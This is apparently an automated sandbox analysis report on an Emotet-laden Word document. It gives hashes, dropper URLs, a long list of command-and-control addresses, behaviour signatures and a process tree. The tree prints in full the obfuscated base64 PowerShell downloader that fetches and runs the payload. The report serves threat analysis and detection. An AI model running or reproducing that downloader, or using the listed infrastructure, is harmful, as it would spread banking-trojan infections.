emotet | 58b9d78ccd44cc7e0a165c022c8f2372734e2e52446eff35f69656fb5878840b

General

Target
emotet_e2_58b9d78ccd44cc7e0a165c022c8f2372734e2e52446eff35f69656fb5878840b_2020-08-18__063431._doc.doc
Size 177KB
Sample200818-edf1s6d6be
SHA256 58b9d78ccd44cc7e0a165c022c8f2372734e2e52446eff35f69656fb5878840b
MD5 160496310e1e88da92b31da32e0dfa3e
SHA1 f80db1f579b2d593ac0870de6bf227f914825c75
SHA512 bf5bd87eb50e35453e8fbdf434d739ba08b15e0716fba3e2c2fd14b055311447c3baeb1aee597547722927f8f5477ab7a0dc59c73f6ff5a447a96e98a64bd6bf
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.isisjade.com/vlib_ud_hlgydg/
exe.dropper
http://obigeorge.com/86mdn_s_p5vlfcqb/o_2rpoh_rm82a/
exe.dropper
http://ishtera.net/vd_535d_3dodu/
exe.dropper
http://jimlutzforohio.com/1bid_5sd03_mqbn2wb7e3/
exe.dropper
http://nitronet.net/rs_qk_cf4/

Extracted

Family

emotet

C2

68.44.137.144:443
69.30.203.214:8080
67.205.85.243:8080
79.98.24.39:8080
5.196.74.210:8080
188.83.220.2:443
109.116.214.124:443
203.117.253.142:80
104.131.11.150:443
97.82.79.83:80
121.124.124.40:7080
83.169.36.251:8080
89.186.91.200:443
70.167.215.250:8080
204.197.146.48:80
167.86.90.214:8080
190.160.53.126:80
95.213.236.64:8080
47.144.21.12:443
169.239.182.217:8080
62.75.141.82:80
181.211.11.242:80
37.70.8.161:80
190.55.181.54:443
78.24.219.147:8080
93.51.50.171:8080
139.59.60.244:8080
91.211.88.52:7080
139.130.242.43:80
24.233.112.152:80
185.94.252.104:443
74.208.45.104:8080
47.146.117.214:80
137.59.187.107:8080
174.102.48.180:80
199.101.86.142:8080
116.203.32.252:8080
103.86.49.11:8080
81.2.235.111:8080
200.41.121.90:80
85.105.205.77:8080
61.19.246.238:443
110.145.77.103:80
107.185.211.16:80
95.179.229.244:8080
85.152.162.105:80
142.105.151.124:443
41.60.200.34:80
203.153.216.189:7080
85.66.181.138:80
113.160.130.116:8443
46.105.131.79:8080
181.230.116.163:80
168.235.67.138:7080
24.179.13.119:80
72.12.127.184:443
75.139.38.211:80
109.74.5.95:8080
24.43.99.75:80
87.106.136.232:8080
176.111.60.55:8080
152.168.248.128:443
74.120.55.163:80
183.101.175.193:80
68.188.112.97:80
62.138.26.28:8080
5.39.91.110:7080
24.137.76.62:80
37.139.21.175:8080
2.58.16.85:7080
209.141.54.221:8080
37.187.72.193:8080
104.236.246.93:8080
201.173.217.124:443
222.214.218.37:4143
157.147.76.151:80
87.106.139.101:8080
189.212.199.126:443
173.62.217.22:443
180.92.239.110:8080
104.131.44.150:8080
157.245.99.39:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3684	404	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/508-15-0x00000000006D0000-0x00000000006DC000-memory.dmp	emotet
behavioral2/memory/508-15-0x00000000006D0000-0x00000000006DC000-memory.dmp	emotet
behavioral2/memory/3104-18-0x0000000002060000-0x000000000206C000-memory.dmp	emotet
behavioral2/memory/3104-18-0x0000000002060000-0x000000000206C000-memory.dmp	emotet

Blacklisted process makes network request 4 IoCs

flow	pid	Process
23	3684	powersheLL.exe
25	3684	powersheLL.exe
27	3684	powersheLL.exe
29	3684	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
508	Gdo33p08d.exe
3104	AuthBrokerUI.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\LicenseManager\AuthBrokerUI.exe	Gdo33p08d.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3228	WINWORD.EXE
3228	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3684	powersheLL.exe
3684	powersheLL.exe
3684	powersheLL.exe
3104	AuthBrokerUI.exe
3104	AuthBrokerUI.exe
3104	AuthBrokerUI.exe
3104	AuthBrokerUI.exe
3104	AuthBrokerUI.exe
3104	AuthBrokerUI.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3684	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
508	Gdo33p08d.exe
508	Gdo33p08d.exe
3104	AuthBrokerUI.exe
3104	AuthBrokerUI.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3684 wrote to memory of 508	3684	powersheLL.exe	77
PID 3684 wrote to memory of 508	3684	powersheLL.exe	77
PID 3684 wrote to memory of 508	3684	powersheLL.exe	77
PID 508 wrote to memory of 3104	508	Gdo33p08d.exe	78
PID 508 wrote to memory of 3104	508	Gdo33p08d.exe	78
PID 508 wrote to memory of 3104	508	Gdo33p08d.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_58b9d78ccd44cc7e0a165c022c8f2372734e2e52446eff35f69656fb5878840b_2020-08-18__063431._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3228

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABRAGoAXwBxAF8ANwAyAD0AKAAnAFIAXwB5AGcAJwArACcAMQAwAHUAJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBuAFYAOgB0AGUATQBwAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQByAEkAdABgAHkAUABgAFIAbwBUAE8AYABDAE8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIAJwArACcALAAgAHQAbABzACcAKwAnADEAJwArACcAMQAsACAAdABsAHMAJwApADsAJABDAHkAMQA5AHEAbwB5ACAAPQAgACgAJwBHAGQAbwAnACsAJwAzADMAcAAwADgAJwArACcAZAAnACkAOwAkAFQAZwBhAHIAeQB3AF8APQAoACcASAAnACsAJwA4AGsAMAAxACcAKwAnAGgANgAnACkAOwAkAEMAdwBmAGoAawBwADkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAEEAcwAzACcAKwAnAE8AJwArACcAZgBmAGkAYwAnACsAJwBlADIAMAAxADkAQQBzADMAJwApAC4AIgByAEUAYABQAGwAYABBAGMAZQAiACgAKABbAEMASABhAFIAXQA2ADUAKwBbAEMASABhAFIAXQAxADEANQArAFsAQwBIAGEAUgBdADUAMQApACwAJwBcACcAKQApACsAJABDAHkAMQA5AHEAbwB5ACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABPAGwAMgAyADAAZQBlAD0AKAAnAFMAbQBhADcAYQBoACcAKwAnAGwAJwApADsAJABFAHkANAByAG8AOQB5AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAFcAZQBCAGMAbABJAEUAbgBUADsAJABJAGEAawA1ADUAMgBwAD0AKAAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAdwB3AHcALgBpACcAKwAnAHMAaQBzAGoAYQBkAGUALgBjAG8AbQAvACcAKwAnAHYAbAAnACsAJwBpACcAKwAnAGIAXwB1ACcAKwAnAGQAXwBoAGwAZwAnACsAJwB5ACcAKwAnAGQAJwArACcAZwAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwBvACcAKwAnAGIAaQAnACsAJwBnAGUAbwByAGcAZQAuACcAKwAnAGMAJwArACcAbwBtAC8AOAA2AG0AZABuAF8AcwBfAHAANQAnACsAJwB2AGwAZgBjACcAKwAnAHEAYgAvAG8AJwArACcAXwAyACcAKwAnAHIAcABvAGgAXwByAG0AJwArACcAOAAyAGEALwAnACsAJwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AaQBzACcAKwAnAGgAdABlACcAKwAnAHIAYQAuAG4AJwArACcAZQB0AC8AdgBkAF8ANQAnACsAJwAzADUAZAAnACsAJwBfACcAKwAnADMAZABvAGQAdQAvACoAaAB0AHQAcAA6AC8ALwAnACsAJwBqAGkAbQBsAHUAdAB6AGYAbwAnACsAJwByAG8AaAAnACsAJwBpACcAKwAnAG8ALgBjAG8AbQAvADEAYgBpAGQAXwA1AHMAZAAwADMAXwBtAHEAYgAnACsAJwBuADIAJwArACcAdwBiADcAZQAzACcAKwAnAC8AKgBoAHQAdABwADoALwAnACsAJwAvAG4AaQB0AHIAbwBuAGUAdAAuAG4AJwArACcAZQAnACsAJwB0ACcAKwAnAC8AcgAnACsAJwBzAF8AcQAnACsAJwBrAF8AYwAnACsAJwBmACcAKwAnADQALwAnACkALgAiAHMAYABQAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgBuAGYAdQBpAGgAbAA9ACgAJwBGAGoAeQAnACsAJwB5AHkAawBvACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFoAeABqADkAZgBqAG8AIABpAG4AIAAkAEkAYQBrADUANQAyAHAAKQB7AHQAcgB5AHsAJABFAHkANAByAG8AOQB5AC4AIgBkAG8AVwBuAGwAYABvAGEAZABGAGAAaQBMAGUAIgAoACQAWgB4AGoAOQBmAGoAbwAsACAAJABDAHcAZgBqAGsAcAA5ACkAOwAkAFgANwA2AHgAZwBtAHkAPQAoACcAQgBqADQAJwArACcAbQAnACsAJwB3AGQAcQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQwB3AGYAagBrAHAAOQApAC4AIgBsAEUATgBnAGAAVABoACIAIAAtAGcAZQAgADIAMQA4ADcAMAApACAAewAuACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABDAHcAZgBqAGsAcAA5ACkAOwAkAEYAeABuAGMAbAB6AG8APQAoACcAUgB0ADEAcQBxAGUAJwArACcAcAAnACkAOwBiAHIAZQBhAGsAOwAkAFYAMABmAG4AegA4AGEAPQAoACcATgBzAF8AbwAnACsAJwAwACcAKwAnAHIAZQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AYwBxAHkAYgBlAHcAPQAoACcATAB3ACcAKwAnAHIANQA5AGYAJwArACcAdwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3684
- C:\Users\Admin\AppData\Local\Temp\Office2019\Gdo33p08d.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Gdo33p08d.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:508
- - C:\Windows\SysWOW64\LicenseManager\AuthBrokerUI.exe
    "C:\Windows\SysWOW64\LicenseManager\AuthBrokerUI.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3104

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/508-15-0x00000000006D0000-0x00000000006DC000-memory.dmp

Download

memory/3104-18-0x0000000002060000-0x000000000206C000-memory.dmp

Download

memory/3228-0-0x00007FF9F0680000-0x00007FF9F0D46000-memory.dmp

Download

memory/3684-9-0x00007FF9E85C0000-0x00007FF9E8FAC000-memory.dmp

Download

memory/3684-10-0x0000024A884E0000-0x0000024A884E1000-memory.dmp

Download

memory/3684-11-0x0000024AA06C0000-0x0000024AA06C1000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads